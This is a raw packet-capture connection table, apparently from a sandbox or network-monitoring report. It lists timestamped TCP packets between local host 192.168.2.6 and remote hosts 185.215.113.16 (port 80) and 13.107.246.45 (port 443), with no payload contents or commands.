Nov 18, 2024 05:57:56.141117096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141134977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141150951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141159058 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141170979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141190052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141208887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141216040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141228914 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141228914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141247988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141268969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141293049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141310930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141330004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141346931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141372919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141396999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141418934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141454935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141489983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141642094 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.141733885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141766071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141784906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141807079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141808987 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141825914 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141836882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141870975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141892910 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141901016 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141901970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141920090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141938925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141951084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141956091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141973972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141974926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142003059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142020941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142039061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142047882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142056942 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142066002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142083883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142112970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142118931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142132044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142148018 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142149925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142179966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142198086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142215967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142220974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142247915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142252922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142283916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142294884 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.142302990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142307043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142322063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142326117 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.142340899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142343998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142374039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142393112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142405033 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142421961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142426014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142440081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142457008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142469883 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142476082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142494917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142524004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142529011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142541885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142571926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142575026 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142592907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142601967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142611980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142630100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142648935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142664909 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142668962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142684937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142688036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142705917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142738104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142740965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142755032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142776012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142777920 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142811060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142838955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142838955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142847061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142865896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142882109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142884016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142901897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142921925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142925024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142940044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142956018 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.142959118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142980099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.142999887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.143016100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.143017054 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.143034935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.143038988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.143054008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.143089056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.143341064 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.143354893 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.146181107 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.147037983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.182425976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.182444096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.182462931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.182482958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.182512999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.219526052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219557047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219575882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219594002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219614983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219619989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.219635010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219645023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.219655037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219672918 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.219675064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.219722986 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.259793997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.259898901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.259926081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.259944916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.259963036 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.259979010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.259999990 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260006905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260036945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260045052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260056973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260098934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260118008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260133028 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260137081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260157108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260174990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260194063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260211945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260214090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260236979 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260236979 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260292053 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260409117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260437012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260451078 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260454893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260473013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260473967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260493040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260510921 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260512114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260541916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260556936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260576010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260579109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260601997 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260607004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260624886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260653973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260662079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260672092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260689020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260701895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260720015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260740995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260740995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260757923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260776997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260792971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260796070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260812044 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260814905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260834932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260863066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260869026 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260883093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260900021 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260902882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260924101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260942936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260961056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.260961056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260979891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.260986090 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261010885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261019945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261025906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261054993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261074066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261090040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261099100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261117935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261120081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261136055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261154890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261173964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261176109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261193037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261193037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261214018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261228085 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261240005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261257887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261276007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261277914 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261298895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261313915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261320114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261332035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261343956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261373997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261392117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261410952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261442900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261457920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261476040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261492968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261509895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261512041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261531115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261534929 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261548042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261565924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261568069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261586905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261604071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261605978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261626005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261646986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261653900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261682987 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261693001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261712074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261729956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261749029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261763096 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261768103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261781931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261797905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261817932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261835098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261837006 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261856079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261890888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.261960983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261996984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.261997938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262015104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262044907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262051105 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262063026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262084007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262111902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262114048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262129068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262140989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262161016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262178898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262198925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262212992 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262244940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262326956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262343884 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262362003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262381077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262401104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262403965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262418032 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262428999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262448072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262465954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262478113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262484074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262502909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262506008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262533903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262538910 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262552977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262568951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262587070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262603045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262608051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262619972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262629986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262645006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262655020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262667894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262679100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262742043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262783051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.262949944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262969017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.262988091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.263003111 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.263048887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.263067961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.263103008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.263153076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.274274111 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.274422884 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.274488926 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.274560928 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.277194977 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.277215004 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.277245998 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.277260065 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.277292013 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.277307034 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.277626038 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.277637959 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.280607939 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.280666113 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.280745983 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.280886889 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.280915022 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.302365065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.302411079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.302453995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.302512884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.302547932 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.339319944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.339351892 CET	80	60438	185.215.113.16	192.168.2.6
